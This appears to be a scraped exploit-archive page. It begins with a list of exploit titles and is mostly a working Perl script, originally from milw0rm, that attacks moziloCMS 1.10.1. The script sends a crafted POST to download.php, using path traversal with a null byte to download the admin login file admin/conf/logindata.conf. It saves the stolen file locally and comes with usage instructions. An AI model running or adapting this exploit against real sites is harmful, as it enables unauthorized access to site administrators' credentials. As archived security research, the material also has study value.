477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
107 lines
2.6 KiB
Perl
Executable file
107 lines
2.6 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
# moziloCMS 1.10.1 Perl exploit
|
|
#
|
|
# discovered & written by Ams
|
|
# ax330d [doggy] gmail [dot] com
|
|
#
|
|
# DESCRIPTION:
|
|
# Vulnerability hides in "download.php", which we can use to download any file we want to.
|
|
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
|
|
# not looking on that it is protected by .htaccess)
|
|
# Script does not filters global params, it only checks whether local file exists...
|
|
# (By the way, all downloads are logged to "/conf/downloads.conf")
|
|
#
|
|
# USAGE:
|
|
# Run exploit :perl expl.pl http://www.site.com
|
|
#
|
|
# NEEDED:
|
|
# magic_quotes_gpc = off
|
|
#
|
|
|
|
use strict;
|
|
use IO::Socket;
|
|
|
|
print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
|
|
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
|
|
|
|
if(@ARGV<1){
|
|
die "\n\tUsage:\texpl.pl [host]\n\n
|
|
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
|
|
}
|
|
|
|
my $expl_url = $ARGV[0];
|
|
|
|
print "\n\t[~] Starting exploit...\n";
|
|
|
|
if($expl_url =~ m#http://#) {
|
|
exploit($expl_url);
|
|
} else {
|
|
exploit('http://'.$expl_url);
|
|
}
|
|
|
|
sub exploit {
|
|
|
|
# Defining vars.
|
|
my $site = pop @_;
|
|
my ($a, $b, $c, @d) = split /\//,$site;
|
|
my $path = join('/',@d);
|
|
my $host = $c;
|
|
if($path) {$path = '/'.$path;}
|
|
my ($length, $packet, $downloaded, $injection);
|
|
|
|
# Revealing /data/sess.php.
|
|
print "\n\t[~] Sending request to 'downloads.php'...\n";
|
|
$injection = "file=hola&cat=../admin/conf/logindata.conf%00";
|
|
$length = length($injection);
|
|
$packet = "POST $path/download.php HTTP/1.1\r\n";
|
|
$packet .= "Host: $host\r\n";
|
|
$packet .= "Connection: Close\r\n";
|
|
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
|
|
$packet .= "Content-Length: $length\r\n\r\n";
|
|
$packet .= "$injection";
|
|
$downloaded = send_surprise($host, $packet, 1);
|
|
|
|
if($downloaded =~ /hackin/) {
|
|
print "\n\t[-] Exploiting failed...\n";
|
|
} elsif ($downloaded =~ /200 OK/) {
|
|
# Parsing and saving received data.
|
|
$downloaded =~ /\r\n\r\n/ ;
|
|
$downloaded = $';
|
|
|
|
open(DOWNL, ">hola.txt");
|
|
print DOWNL $downloaded;
|
|
close(DOWNL);
|
|
print "\n\t[+] Looks like ok! Check hola.txt\n";
|
|
} else {
|
|
print "\n\t[-] Exploiting failed...\n";
|
|
}
|
|
}
|
|
|
|
sub send_surprise() {
|
|
|
|
my $dat = 1;
|
|
my ($host, $packet, $ret) = @_;
|
|
my $socket=IO::Socket::INET->new(
|
|
Proto=>"tcp",
|
|
PeerAddr=>$host,
|
|
PeerPort=>"80"
|
|
);
|
|
if( ! $socket) {
|
|
return 0;
|
|
} else {
|
|
|
|
print $socket $packet;
|
|
if($ret) {
|
|
my $rcv;
|
|
while($rcv = <$socket>) {
|
|
$dat .= $rcv;
|
|
}
|
|
}
|
|
close ($socket);
|
|
return $dat;
|
|
}
|
|
}
|
|
|
|
# milw0rm.com [2008-08-02]
|